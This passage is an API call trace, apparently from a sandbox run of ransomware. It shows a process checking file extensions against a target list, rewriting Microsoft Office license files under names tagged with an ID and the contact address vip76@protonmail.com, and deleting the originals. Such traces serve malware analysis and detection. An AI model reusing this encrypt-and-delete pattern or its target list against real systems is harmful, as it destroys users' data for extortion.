	[0190.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1
	[0190.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.815] lstrlenW (lpString=".doc") returned 4
	[0190.815] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString=".docx") returned 5
	[0190.815] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.815] lstrlenW (lpString=".pdf") returned 4
	[0190.815] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString=".xls") returned 4
	[0190.815] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString=".xlsx") returned 5
	[0190.815] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.815] lstrlenW (lpString=".ppt") returned 4
	[0190.815] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.815] lstrlenW (lpString=".zip") returned 4
	[0190.815] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString=".rar") returned 4
	[0190.815] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString=".bz2") returned 4
	[0190.815] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.815] lstrlenW (lpString=".7z") returned 3
	[0190.815] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.816] lstrlenW (lpString=".dbf") returned 4
	[0190.816] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.816] lstrlenW (lpString=".1cd") returned 4
	[0190.816] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.816] lstrlenW (lpString=".jpg") returned 4
	[0190.816] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.816] lstrlenW (lpString=".doc") returned 4
	[0190.816] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString=".docx") returned 5
	[0190.816] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.816] lstrlenW (lpString=".pdf") returned 4
	[0190.816] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString=".xls") returned 4
	[0190.816] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString=".xlsx") returned 5
	[0190.816] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.816] lstrlenW (lpString=".ppt") returned 4
	[0190.816] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.816] lstrlenW (lpString=".zip") returned 4
	[0190.816] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.816] lstrlenW (lpString=".rar") returned 4
	[0190.816] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.817] lstrlenW (lpString=".bz2") returned 4
	[0190.817] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.817] lstrlenW (lpString=".7z") returned 3
	[0190.817] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.817] lstrlenW (lpString=".dbf") returned 4
	[0190.817] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.817] lstrlenW (lpString=".1cd") returned 4
	[0190.817] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0190.817] lstrlenW (lpString=".jpg") returned 4
	[0190.817] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.817] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.817] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30
	[0190.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.818] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=6794) returned 1
	[0190.818] CloseHandle (hObject=0x580) returned 1
	[0190.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0190.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.819] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.819] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.820] GetLastError () returned 0x0
	[0190.820] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x1a8a, lpOverlapped=0x0) returned 1
	[0190.822] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0190.823] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.823] WriteFile (in: hFile=0x5c8, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x110, lpOverlapped=0x0) returned 1
	[0190.823] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.823] CloseHandle (hObject=0x5c8) returned 1
	[0190.823] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.823] SetEndOfFile (hFile=0x580) returned 1
	[0190.831] CloseHandle (hObject=0x580) returned 1
	[0190.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1
	[0190.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.833] lstrlenW (lpString=".doc") returned 4
	[0190.833] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.833] lstrlenW (lpString=".docx") returned 5
	[0190.833] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.833] lstrlenW (lpString=".pdf") returned 4
	[0190.833] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.833] lstrlenW (lpString=".xls") returned 4
	[0190.833] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.833] lstrlenW (lpString=".xlsx") returned 5
	[0190.833] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.833] lstrlenW (lpString=".ppt") returned 4
	[0190.833] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.833] lstrlenW (lpString=".zip") returned 4
	[0190.833] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.833] lstrlenW (lpString=".rar") returned 4
	[0190.833] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString=".bz2") returned 4
	[0190.834] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString=".7z") returned 3
	[0190.834] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.834] lstrlenW (lpString=".dbf") returned 4
	[0190.834] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.834] lstrlenW (lpString=".1cd") returned 4
	[0190.834] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.834] lstrlenW (lpString=".jpg") returned 4
	[0190.834] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.834] lstrlenW (lpString=".doc") returned 4
	[0190.834] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString=".docx") returned 5
	[0190.834] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.834] lstrlenW (lpString=".pdf") returned 4
	[0190.834] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString=".xls") returned 4
	[0190.834] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString=".xlsx") returned 5
	[0190.834] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.834] lstrlenW (lpString=".ppt") returned 4
	[0190.834] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.835] lstrlenW (lpString=".zip") returned 4
	[0190.835] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.835] lstrlenW (lpString=".rar") returned 4
	[0190.835] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.835] lstrlenW (lpString=".bz2") returned 4
	[0190.835] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.835] lstrlenW (lpString=".7z") returned 3
	[0190.835] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.835] lstrlenW (lpString=".dbf") returned 4
	[0190.835] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.835] lstrlenW (lpString=".1cd") returned 4
	[0190.835] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0190.835] lstrlenW (lpString=".jpg") returned 4
	[0190.835] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.835] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.835] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33
	[0190.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0191.075] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11614) returned 1
	[0191.075] CloseHandle (hObject=0x580) returned 1
	[0191.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0191.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0191.076] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.076] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0191.077] GetLastError () returned 0x0
	[0191.077] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d5e, lpOverlapped=0x0) returned 1
	[0191.079] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0191.081] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.081] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0191.081] SetEndOfFile (hFile=0x36c) returned 1
	[0191.081] CloseHandle (hObject=0x36c) returned 1
	[0191.081] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.081] SetEndOfFile (hFile=0x580) returned 1
	[0191.089] CloseHandle (hObject=0x580) returned 1
	[0191.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0191.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.091] lstrlenW (lpString=".doc") returned 4
	[0191.091] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString=".docx") returned 5
	[0191.091] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.091] lstrlenW (lpString=".pdf") returned 4
	[0191.091] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString=".xls") returned 4
	[0191.091] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString=".xlsx") returned 5
	[0191.091] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.091] lstrlenW (lpString=".ppt") returned 4
	[0191.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.091] lstrlenW (lpString=".zip") returned 4
	[0191.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString=".rar") returned 4
	[0191.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString=".bz2") returned 4
	[0191.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.091] lstrlenW (lpString=".7z") returned 3
	[0191.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.092] lstrlenW (lpString=".dbf") returned 4
	[0191.092] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.092] lstrlenW (lpString=".1cd") returned 4
	[0191.092] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.092] lstrlenW (lpString=".jpg") returned 4
	[0191.092] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.092] lstrlenW (lpString=".doc") returned 4
	[0191.092] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString=".docx") returned 5
	[0191.092] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.092] lstrlenW (lpString=".pdf") returned 4
	[0191.092] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString=".xls") returned 4
	[0191.092] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString=".xlsx") returned 5
	[0191.092] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.092] lstrlenW (lpString=".ppt") returned 4
	[0191.092] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.092] lstrlenW (lpString=".zip") returned 4
	[0191.092] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.092] lstrlenW (lpString=".rar") returned 4
	[0191.093] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.093] lstrlenW (lpString=".bz2") returned 4
	[0191.093] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.093] lstrlenW (lpString=".7z") returned 3
	[0191.093] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.093] lstrlenW (lpString=".dbf") returned 4
	[0191.093] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.093] lstrlenW (lpString=".1cd") returned 4
	[0191.093] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0191.093] lstrlenW (lpString=".jpg") returned 4
	[0191.093] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.093] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.093] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26
	[0191.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0191.095] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19926) returned 1
	[0191.095] CloseHandle (hObject=0x580) returned 1
	[0191.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0191.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0191.096] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.096] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0191.097] GetLastError () returned 0x0
	[0191.097] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dd6, lpOverlapped=0x0) returned 1
	[0191.099] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4de0, lpOverlapped=0x0) returned 1
